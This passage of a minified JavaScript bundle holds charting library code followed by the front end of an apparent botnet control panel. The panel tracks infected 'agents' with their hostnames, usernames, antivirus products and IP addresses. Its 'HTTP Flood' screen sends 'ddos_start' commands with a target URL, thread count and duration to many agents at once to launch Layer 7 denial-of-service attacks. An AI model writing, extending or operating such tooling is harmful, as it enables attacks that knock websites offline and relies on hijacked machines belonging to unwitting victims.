0,p=Es(r).find(g=>g.id===f);if(d==null||p==null||f==null)return;var{dataKey:h}=p,x=ZW(r,d,f);t.dispatch(C3({activeDataKey:h,activeIndex:d,activeCoordinate:x,activeGraphicalItemId:f}))}}}});var QW=FN({brush:DF,cartesianAxis:EF,chartData:y9,errorBars:UF,graphicalItems:WB,layout:hT,legend:gM,options:p9,polarAxis:Q$,polarOptions:qW,referenceElements:$F,rootProps:VW,tooltip:ID,zIndex:r9}),JW=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"Chart";return BO({reducer:QW,preloadedState:t,middleware:r=>{var i;return r({serializableCheck:!1,immutableCheck:!["commonjs","es6","production"].includes((i="es6")!==null&&i!==void 0?i:"")}).concat([Yz.middleware,qz.middleware,Nv.middleware,eS.middleware,nS.middleware])},enhancers:r=>{var i=r;return typeof r=="function"&&(i=r()),i.concat(nk({type:"raf"}))},devTools:{serialize:{replacer:UW},name:"recharts-".concat(n)}})};function rS(e){var{preloadedState:t,children:n,reduxStoreName:r}=e,i=Jn(),s=m.useRef(null);if(i)return n;s.current==null&&(s.current=JW(t,r));var o=Hx;return m.createElement(mW,{context:o,store:s.current},n)}function eU(e){var{layout:t,margin:n}=e,r=ot(),i=Jn();return m.useEffect(()=>{i||(r(fT(t)),r(dT(n)))},[r,i,t,n]),null}var iS=m.memo(eU,Dz);function aS(e){var t=ot();return m.useEffect(()=>{t(HW(e))},[t,e]),null}function Ab(e){var{zIndex:t,isPanorama:n}=e,r=m.useRef(null),i=ot();return m.useLayoutEffect(()=>(r.current&&i(t9({zIndex:t,element:r.current,isPanorama:n})),()=>{i(n9({zIndex:t,isPanorama:n}))}),[i,t,n]),m.createElement("g",{tabIndex:-1,ref:r})}function Ob(e){var{children:t,isPanorama:n}=e,r=je(HR);if(!r||r.length===0)return t;var i=r.filter(o=>o<0),s=r.filter(o=>o>0);return m.createElement(m.Fragment,null,i.map(o=>m.createElement(Ab,{key:o,zIndex:o,isPanorama:n})),t,s.map(o=>m.createElement(Ab,{key:o,zIndex:o,isPanorama:n})))}var tU=["children"];function nU(e,t){if(e==null)return{};var n,r,i=rU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function rU(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function Ku(){return Ku=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Ku.apply(null,arguments)}var iU={width:"100%",height:"100%",display:"block"},aU=m.forwardRef((e,t)=>{var n=nM(),r=rM(),i=Ik();if(!Si(n)||!Si(r))return null;var{children:s,otherAttributes:o,title:l,desc:c}=e,u,d;return o!=null&&(typeof o.tabIndex=="number"?u=o.tabIndex:u=i?0:void 0,typeof o.role=="string"?d=o.role:d=i?"application":void 0),m.createElement(Fj,Ku({},o,{title:l,desc:c,role:d,tabIndex:u,width:n,height:r,style:iU,ref:t}),s)}),sU=e=>{var{children:t}=e,n=je(Wd);if(!n)return null;var{width:r,height:i,y:s,x:o}=n;return m.createElement(Fj,{width:r,height:i,x:o,y:s},t)},Tb=m.forwardRef((e,t)=>{var{children:n}=e,r=nU(e,tU),i=Jn();return i?m.createElement(sU,null,m.createElement(Ob,{isPanorama:!0},n)):m.createElement(aU,Ku({ref:t},r),m.createElement(Ob,{isPanorama:!1},n))});function oU(){var e=ot(),[t,n]=m.useState(null),r=je(_T);return m.useEffect(()=>{if(t!=null){var i=t.getBoundingClientRect(),s=i.width/t.offsetWidth;Ee(s)&&s!==r&&e(pT(s))}},[t,e,r]),n}function Mb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function lU(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Mb(Object(n),!0).forEach(function(r){cU(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Mb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function cU(e,t,n){return(t=uU(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function uU(e){var t=dU(e,"string");return typeof t=="symbol"?t:t+""}function dU(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function ji(){return ji=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},ji.apply(null,arguments)}var fU=()=>(P9(),null);function Gu(e){if(typeof e=="number")return e;if(typeof e=="string"){var t=parseFloat(e);if(!Number.isNaN(t))return t}return 0}var mU=m.forwardRef((e,t)=>{var n,r,i=m.useRef(null),[s,o]=m.useState({containerWidth:Gu((n=e.style)===null||n===void 0?void 0:n.width),containerHeight:Gu((r=e.style)===null||r===void 0?void 0:r.height)}),l=m.useCallback((u,d)=>{o(f=>{var p=Math.round(u),h=Math.round(d);return f.containerWidth===p&&f.containerHeight===h?f:{containerWidth:p,containerHeight:h}})},[]),c=m.useCallback(u=>{if(typeof t=="function"&&t(u),u!=null&&typeof ResizeObserver<"u"){var{width:d,height:f}=u.getBoundingClientRect();l(d,f);var p=x=>{var g=x[0];if(g!=null){var{width:y,height:v}=g.contentRect;l(y,v)}},h=new ResizeObserver(p);h.observe(u),i.current=h}},[t,l]);return m.useEffect(()=>()=>{var u=i.current;u!=null&&u.disconnect()},[l]),m.createElement(m.Fragment,null,m.createElement(ul,{width:s.containerWidth,height:s.containerHeight}),m.createElement("div",ji({ref:c},e)))}),pU=m.forwardRef((e,t)=>{var{width:n,height:r}=e,[i,s]=m.useState({containerWidth:Gu(n),containerHeight:Gu(r)}),o=m.useCallback((c,u)=>{s(d=>{var f=Math.round(c),p=Math.round(u);return d.containerWidth===f&&d.containerHeight===p?d:{containerWidth:f,containerHeight:p}})},[]),l=m.useCallback(c=>{if(typeof t=="function"&&t(c),c!=null){var{width:u,height:d}=c.getBoundingClientRect();o(u,d)}},[t,o]);return m.createElement(m.Fragment,null,m.createElement(ul,{width:i.containerWidth,height:i.containerHeight}),m.createElement("div",ji({ref:l},e)))}),hU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return m.createElement(m.Fragment,null,m.createElement(ul,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))}),xU=m.forwardRef((e,t)=>{var{width:n,height:r}=e;return typeof n=="string"||typeof r=="string"?m.createElement(pU,ji({},e,{ref:t})):typeof n=="number"&&typeof r=="number"?m.createElement(hU,ji({},e,{width:n,height:r,ref:t})):m.createElement(m.Fragment,null,m.createElement(ul,{width:n,height:r}),m.createElement("div",ji({ref:t},e)))});function vU(e){return e?mU:xU}var gU=m.forwardRef((e,t)=>{var{children:n,className:r,height:i,onClick:s,onContextMenu:o,onDoubleClick:l,onMouseDown:c,onMouseEnter:u,onMouseLeave:d,onMouseMove:f,onMouseUp:p,onTouchEnd:h,onTouchMove:x,onTouchStart:g,style:y,width:v,responsive:b,dispatchTouchEvents:w=!0}=e,j=m.useRef(null),N=ot(),[k,z]=m.useState(null),[S,O]=m.useState(null),A=oU(),T=e0(),P=(T==null?void 0:T.width)>0?T.width:v,D=(T==null?void 0:T.height)>0?T.height:i,G=m.useCallback(C=>{A(C),typeof t=="function"&&t(C),z(C),O(C),C!=null&&(j.current=C)},[A,t,z,O]),R=m.useCallback(C=>{N(Gz(C)),N(kn({handler:s,reactEvent:C}))},[N,s]),K=m.useCallback(C=>{N(zh(C)),N(kn({handler:u,reactEvent:C}))},[N,u]),_=m.useCallback(C=>{N(P3()),N(kn({handler:d,reactEvent:C}))},[N,d]),M=m.useCallback(C=>{N(zh(C)),N(kn({handler:f,reactEvent:C}))},[N,f]),F=m.useCallback(()=>{N(Jz())},[N]),U=m.useCallback(C=>{N(Qz(C.key))},[N]),V=m.useCallback(C=>{N(kn({handler:o,reactEvent:C}))},[N,o]),Z=m.useCallback(C=>{N(kn({handler:l,reactEvent:C}))},[N,l]),ae=m.useCallback(C=>{N(kn({handler:c,reactEvent:C}))},[N,c]),ue=m.useCallback(C=>{N(kn({handler:p,reactEvent:C}))},[N,p]),be=m.useCallback(C=>{N(kn({handler:g,reactEvent:C}))},[N,g]),ye=m.useCallback(C=>{w&&N(tS(C)),N(kn({handler:x,reactEvent:C}))},[N,w,x]),q=m.useCallback(C=>{N(kn({handler:h,reactEvent:C}))},[N,h]),te=vU(b);return m.createElement(X3.Provider,{value:k},m.createElement(T_.Provider,{value:S},m.createElement(te,{width:P??(y==null?void 0:y.width),height:D??(y==null?void 0:y.height),className:Qe("recharts-wrapper",r),style:lU({position:"relative",cursor:"default",width:P,height:D},y),onClick:R,onContextMenu:V,onDoubleClick:Z,onFocus:F,onKeyDown:U,onMouseDown:ae,onMouseEnter:K,onMouseLeave:_,onMouseMove:M,onMouseUp:ue,onTouchEnd:q,onTouchMove:ye,onTouchStart:be,ref:G},m.createElement(fU,null),n)))}),yU=["width","height","responsive","children","className","style","compact","title","desc"];function bU(e,t){if(e==null)return{};var n,r,i=wU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function wU(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var sS=m.forwardRef((e,t)=>{var{width:n,height:r,responsive:i,children:s,className:o,style:l,compact:c,title:u,desc:d}=e,f=bU(e,yU),p=Mr(f);return c?m.createElement(m.Fragment,null,m.createElement(ul,{width:n,height:r}),m.createElement(Tb,{otherAttributes:p,title:u,desc:d},s)):m.createElement(gU,{className:o,style:l,width:n,height:r,responsive:i??!1,onClick:e.onClick,onMouseLeave:e.onMouseLeave,onMouseEnter:e.onMouseEnter,onMouseMove:e.onMouseMove,onMouseDown:e.onMouseDown,onMouseUp:e.onMouseUp,onContextMenu:e.onContextMenu,onDoubleClick:e.onDoubleClick,onTouchStart:e.onTouchStart,onTouchMove:e.onTouchMove,onTouchEnd:e.onTouchEnd},m.createElement(Tb,{otherAttributes:p,title:u,desc:d,ref:t},m.createElement(FF,null,s)))});function Sh(){return Sh=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Sh.apply(null,arguments)}var jU={top:5,right:5,bottom:5,left:5},NU={accessibilityLayer:!0,barCategoryGap:"10%",barGap:4,layout:"horizontal",margin:jU,responsive:!1,reverseStackOrder:!1,stackOffset:"none",syncMethod:"index"},kU=m.forwardRef(function(t,n){var r,i=gn(t.categoricalChartProps,NU),{chartName:s,defaultTooltipEventType:o,validateTooltipEventTypes:l,tooltipPayloadSearcher:c,categoricalChartProps:u}=t,d={chartName:s,defaultTooltipEventType:o,validateTooltipEventTypes:l,tooltipPayloadSearcher:c,eventEmitter:void 0};return m.createElement(rS,{preloadedState:{options:d},reduxStoreName:(r=u.id)!==null&&r!==void 0?r:s},m.createElement(Oz,{chartData:u.data}),m.createElement(iS,{layout:i.layout,margin:i.margin}),m.createElement(aS,{baseValue:i.baseValue,accessibilityLayer:i.accessibilityLayer,barCategoryGap:i.barCategoryGap,maxBarSize:i.maxBarSize,stackOffset:i.stackOffset,barGap:i.barGap,barSize:i.barSize,syncId:i.syncId,syncMethod:i.syncMethod,className:i.className,reverseStackOrder:i.reverseStackOrder}),m.createElement(sS,Sh({},i,{ref:n})))});function zU(e){var t=ot();return m.useEffect(()=>{t(YW(e))},[t,e]),null}var SU=["layout"];function Ch(){return Ch=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Ch.apply(null,arguments)}function CU(e,t){if(e==null)return{};var n,r,i=PU(e,t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(r=0;r<s.length;r++)n=s[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function PU(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}var EU={top:5,right:5,bottom:5,left:5},oS={accessibilityLayer:!0,stackOffset:"none",barCategoryGap:"10%",barGap:4,margin:EU,reverseStackOrder:!1,syncMethod:"index",layout:"radial",responsive:!1,cx:"50%",cy:"50%",innerRadius:0,outerRadius:"80%"},_U=m.forwardRef(function(t,n){var r,i=gn(t.categoricalChartProps,oS),{layout:s}=i,o=CU(i,SU),{chartName:l,defaultTooltipEventType:c,validateTooltipEventTypes:u,tooltipPayloadSearcher:d}=t,f={chartName:l,defaultTooltipEventType:c,validateTooltipEventTypes:u,tooltipPayloadSearcher:d,eventEmitter:void 0};return m.createElement(rS,{preloadedState:{options:f},reduxStoreName:(r=i.id)!==null&&r!==void 0?r:l},m.createElement(Oz,{chartData:i.data}),m.createElement(iS,{layout:s,margin:i.margin}),m.createElement(aS,{baseValue:void 0,accessibilityLayer:i.accessibilityLayer,barCategoryGap:i.barCategoryGap,maxBarSize:i.maxBarSize,stackOffset:i.stackOffset,barGap:i.barGap,barSize:i.barSize,syncId:i.syncId,syncMethod:i.syncMethod,className:i.className,reverseStackOrder:i.reverseStackOrder}),m.createElement(zU,{cx:i.cx,cy:i.cy,startAngle:i.startAngle,endAngle:i.endAngle,innerRadius:i.innerRadius,outerRadius:i.outerRadius}),m.createElement(sS,Ch({},o,{ref:n})))});function Lb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Ib(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?Lb(Object(n),!0).forEach(function(r){AU(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Lb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function AU(e,t,n){return(t=OU(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function OU(e){var t=TU(e,"string");return typeof t=="symbol"?t:t+""}function TU(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var MU=["item"],LU=Ib(Ib({},oS),{},{layout:"centric",startAngle:0,endAngle:360}),IU=m.forwardRef((e,t)=>{var n=gn(e,LU);return m.createElement(_U,{chartName:"PieChart",defaultTooltipEventType:"item",validateTooltipEventTypes:MU,tooltipPayloadSearcher:Q3,categoricalChartProps:n,ref:t})}),DU=["axis"],RU=m.forwardRef((e,t)=>m.createElement(kU,{chartName:"AreaChart",defaultTooltipEventType:"axis",validateTooltipEventTypes:DU,tooltipPayloadSearcher:Q3,categoricalChartProps:e,ref:t}));function $U({agents:e}){const t=m.useMemo(()=>{const i=Date.now(),s=24*60*60*1e3,o=24,l=s/o,c=[];for(let u=0;u<o;u++){const d=i-s+u*l,p=`${new Date(d).getHours().toString().padStart(2,"0")}:00`,h=e.filter(x=>new Date(x.first_seen).getTime()<=d+l).length;c.push({time:p,count:h})}return c},[e]),n=m.useMemo(()=>{const i=e.filter(l=>l.status==="alive").length,s=e.filter(l=>l.status==="stale").length,o=e.filter(l=>l.status==="dead").length;return[{name:"Alive",value:i,color:"#06B6D4"},{name:"Stale",value:s,color:"#71717A"},{name:"Dead",value:o,color:"#3F3F46"}].filter(l=>l.value>0)},[e]),r=m.useId().replace(/:/g,"_")+"_agentFill";return e.length===0?null:a.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3 mb-6",children:[a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Agent Count (24h)"}),a.jsx("div",{style:{height:100},children:a.jsx(Wy,{width:"100%",height:"100%",children:a.jsxs(RU,{data:t,margin:{top:0,right:0,bottom:0,left:0},children:[a.jsx("defs",{children:a.jsxs("linearGradient",{id:r,x1:"0",y1:"0",x2:"0",y2:"1",children:[a.jsx("stop",{offset:"0%",stopColor:"#06B6D4",stopOpacity:.2}),a.jsx("stop",{offset:"100%",stopColor:"#06B6D4",stopOpacity:0})]})}),a.jsx(W2,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"},labelStyle:{color:"#71717A"}}),a.jsx(Kz,{type:"monotone",dataKey:"count",stroke:"#06B6D4",strokeWidth:1.5,fill:`url(#${r})`,dot:!1,activeDot:{r:3,fill:"#06B6D4",stroke:"#09090B",strokeWidth:2}})]})})})]}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4",children:[a.jsx("p",{className:"text-[10px] font-medium text-zerin-text-muted uppercase tracking-wider mb-3",children:"Status Breakdown"}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsx("div",{style:{width:100,height:100},children:a.jsx(Wy,{width:"100%",height:"100%",children:a.jsxs(IU,{children:[a.jsx(Ez,{data:n,cx:"50%",cy:"50%",innerRadius:30,outerRadius:45,paddingAngle:2,dataKey:"value",stroke:"none",children:n.map((i,s)=>a.jsx(mf,{fill:i.color},s))}),a.jsx(W2,{contentStyle:{background:"#111113",border:"1px solid #1F1F23",borderRadius:0,fontSize:11,color:"#FAFAFA"}})]})})}),a.jsx("div",{className:"space-y-2",children:n.map(i=>a.jsxs("div",{className:"flex items-center gap-2 text-xs",children:[a.jsx("span",{className:"w-2 h-2 rounded-full",style:{backgroundColor:i.color}}),a.jsx("span",{className:"text-zerin-text-dim",children:i.name}),a.jsx("span",{className:"text-zerin-text font-mono font-medium",children:i.value})]},i.name))})]})]})]})}function BU({tags:e,onChange:t,readOnly:n=!1}){const[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useRef(null),c=m.useCallback(()=>{const f=r.trim().toLowerCase();if(!f||e.includes(f)){i("");return}t([...e,f]),i(""),o(!1)},[r,e,t]),u=m.useCallback(f=>{t(e.filter(p=>p!==f))},[e,t]),d=f=>{f.key==="Enter"&&(f.preventDefault(),c()),f.key==="Escape"&&(o(!1),i(""))};return a.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[e.map(f=>a.jsxs("span",{className:`inline-flex items-center gap-1 px-2 py-0.5 text-xs font-medium\r
|
||
bg-zerin-panel-hover text-zerin-text-dim border border-zerin-panel-border`,children:[f,!n&&a.jsx("button",{onClick:()=>u(f),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors ml-0.5",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]},f)),!n&&a.jsx(a.Fragment,{children:s?a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),onKeyDown:d,onBlur:()=>{r.trim()?c():o(!1)},autoFocus:!0,placeholder:"tag name",className:`w-20 bg-zerin-bg border border-zerin-panel-border px-1.5 py-0.5\r
|
||
text-xs text-zerin-text placeholder-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent/50 transition-all`}):a.jsxs("button",{onClick:()=>{o(!0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50)},className:`inline-flex items-center gap-0.5 px-1.5 py-0.5 text-xs\r
|
||
text-zerin-text-muted hover:text-zerin-accent\r
|
||
border border-dashed border-zerin-panel-border hover:border-zerin-accent/40\r
|
||
transition-colors`,children:[a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 4v16m8-8H4"})}),"tag"]})})]})}const FU=["GET","POST","HEAD"],WU=[{label:"30s",value:30},{label:"60s",value:60},{label:"5m",value:300},{label:"10m",value:600}];function lS({agentIds:e,agentStatus:t}){const[n,r]=m.useState(""),[i,s]=m.useState(60),[o,l]=m.useState(10),[c,u]=m.useState("GET"),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(!1),[y,v]=m.useState([]),b=t==="dead",w=e.length,j=(z,S)=>{h({text:z,type:S}),setTimeout(()=>h(null),5e3)},N=async()=>{if(!n.trim()){j("Target URL is required","err");return}f(!0),v([]);try{const S=(await Promise.allSettled(e.map(A=>Me(A,{command:"ddos_start",args:[n.trim(),String(i),String(o),c]})))).map((A,T)=>({agentId:e[T],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(S);const O=S.filter(A=>A.ok).length;g(O>0),O===w?j(`Flood started on ${w} agent${w!==1?"s":""}: ${c} ${n} | ${o} threads | ${i}s`,"ok"):j(`Started on ${O}/${w} agents (${w-O} failed)`,O>0?"ok":"err")}catch(z){j(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0),v([]);try{const S=(await Promise.allSettled(e.map(A=>Me(A,{command:"ddos_stop"})))).map((A,T)=>({agentId:e[T],ok:A.status==="fulfilled",error:A.status==="rejected"?A.reason instanceof Error?A.reason.message:"Failed":void 0}));v(S),g(!1);const O=S.filter(A=>A.ok).length;j(`Stop sent to ${O}/${w} agent${w!==1?"s":""}`,"ok")}catch(z){j(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}};return a.jsx("div",{className:"p-6 animate-fade-in",children:a.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("div",{className:"w-8 h-8 bg-red-500/10 flex items-center justify-center",children:a.jsx("svg",{className:"w-4 h-4 text-red-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})})}),a.jsxs("div",{children:[a.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"HTTP Flood"}),a.jsxs("p",{className:"text-xs text-zerin-text-muted",children:["Layer 7 HTTP flood attack",w>1&&a.jsxs("span",{className:"ml-1 text-zerin-accent font-medium",children:["(",w," agents)"]})]})]}),x&&a.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-red-400",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-red-400 animate-pulse"}),"ACTIVE"]})]}),p&&a.jsx("div",{className:`px-3 py-2 text-xs font-mono ${p.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:p.text}),y.length>1&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border p-3 space-y-1 max-h-32 overflow-y-auto",children:y.map(z=>a.jsxs("div",{className:"flex items-center gap-2 text-xs font-mono",children:[a.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${z.ok?"bg-emerald-400":"bg-red-400"}`}),a.jsx("span",{className:"text-zerin-text-dim",children:z.agentId.slice(0,8)}),a.jsx("span",{className:z.ok?"text-emerald-400":"text-red-400",children:z.ok?"OK":z.error})]},z.agentId))}),a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:a.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),a.jsxs("div",{className:"p-4 space-y-4",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Target URL"}),a.jsx("input",{type:"text",value:n,onChange:z=>r(z.target.value),placeholder:"https://example.com",disabled:b||x,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
|
||
text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r
|
||
focus:outline-none focus:border-zerin-accent/50\r
|
||
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Method"}),a.jsx("div",{className:"flex gap-2",children:FU.map(z=>a.jsx("button",{onClick:()=>u(z),disabled:b||x,className:`px-4 py-1.5 text-xs font-mono font-medium transition-colors
|
||
disabled:opacity-40 disabled:cursor-not-allowed ${c===z?"bg-zerin-accent/15 text-zerin-accent border border-zerin-accent/40":"bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:border-zerin-panel-border-hover"}`,children:z},z))})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Duration: ",a.jsxs("span",{className:"text-zerin-text font-mono",children:[i,"s"]})]}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("input",{type:"range",min:10,max:3600,step:10,value:i,onChange:z=>s(Number(z.target.value)),disabled:b||x,className:"flex-1 accent-zerin-accent disabled:opacity-40"}),a.jsx("div",{className:"flex gap-1.5",children:WU.map(z=>a.jsx("button",{onClick:()=>s(z.value),disabled:b||x,className:`px-2 py-1 text-[10px] font-mono transition-colors
|
||
disabled:opacity-40 disabled:cursor-not-allowed ${i===z.value?"bg-zerin-accent/15 text-zerin-accent":"bg-zerin-bg text-zerin-text-dim hover:text-zerin-text border border-zerin-panel-border"}`,children:z.label},z.value))})]})]}),a.jsxs("div",{children:[a.jsxs("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:["Threads: ",a.jsx("span",{className:"text-zerin-text font-mono",children:o})]}),a.jsx("input",{type:"range",min:1,max:64,value:o,onChange:z=>l(Number(z.target.value)),disabled:b||x,className:"w-full accent-zerin-accent disabled:opacity-40"}),a.jsxs("div",{className:"flex justify-between text-[10px] text-zerin-text-muted font-mono mt-1",children:[a.jsx("span",{children:"1"}),a.jsx("span",{children:"16"}),a.jsx("span",{children:"32"}),a.jsx("span",{children:"48"}),a.jsx("span",{children:"64"})]})]})]})]}),a.jsx("div",{className:"flex gap-3",children:x?a.jsxs("button",{onClick:k,disabled:d,className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
|
||
text-sm font-medium text-white bg-zinc-600 hover:bg-zinc-700\r
|
||
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Flood",w>1?` (${w})`:""]}):a.jsxs("button",{onClick:N,disabled:b||d||!n.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r
|
||
text-sm font-medium text-white bg-red-500 hover:bg-red-600\r
|
||
disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),"Start Flood",w>1?` (${w})`:""]})})]})})}const Db={alive:0,stale:1,dead:2};function UU(e,t,n){let r=0;switch(n.column){case"status":r=(Db[e.status]??3)-(Db[t.status]??3);break;case"hostname":r=e.hostname.localeCompare(t.hostname);break;case"username":r=e.username.localeCompare(t.username);break;case"os":r=Io(e.os).localeCompare(Io(t.os));break;case"arch":r=e.arch.localeCompare(t.arch);break;case"av":r=(e.av_product??"").localeCompare(t.av_product??"");break;case"internal_ip":r=e.internal_ip.localeCompare(t.internal_ip);break;case"external_ip":r=e.external_ip.localeCompare(t.external_ip);break;case"pid":r=e.pid-t.pid;break;case"last_seen":r=new Date(e.last_seen).getTime()-new Date(t.last_seen).getTime();break}return n.direction==="asc"?r:-r}const VU=[{key:"status",label:"Status",className:"w-[80px]"},{key:"hostname",label:"Hostname"},{key:"username",label:"Username"},{key:"os",label:"OS"},{key:"arch",label:"Arch",className:"w-[80px]"},{key:"av",label:"AV"},{key:"internal_ip",label:"Internal IP",mono:!0},{key:"external_ip",label:"External IP",mono:!0},{key:"pid",label:"PID",mono:!0,className:"w-[80px]"},{key:"last_seen",label:"Last Seen"}];function HU(){const 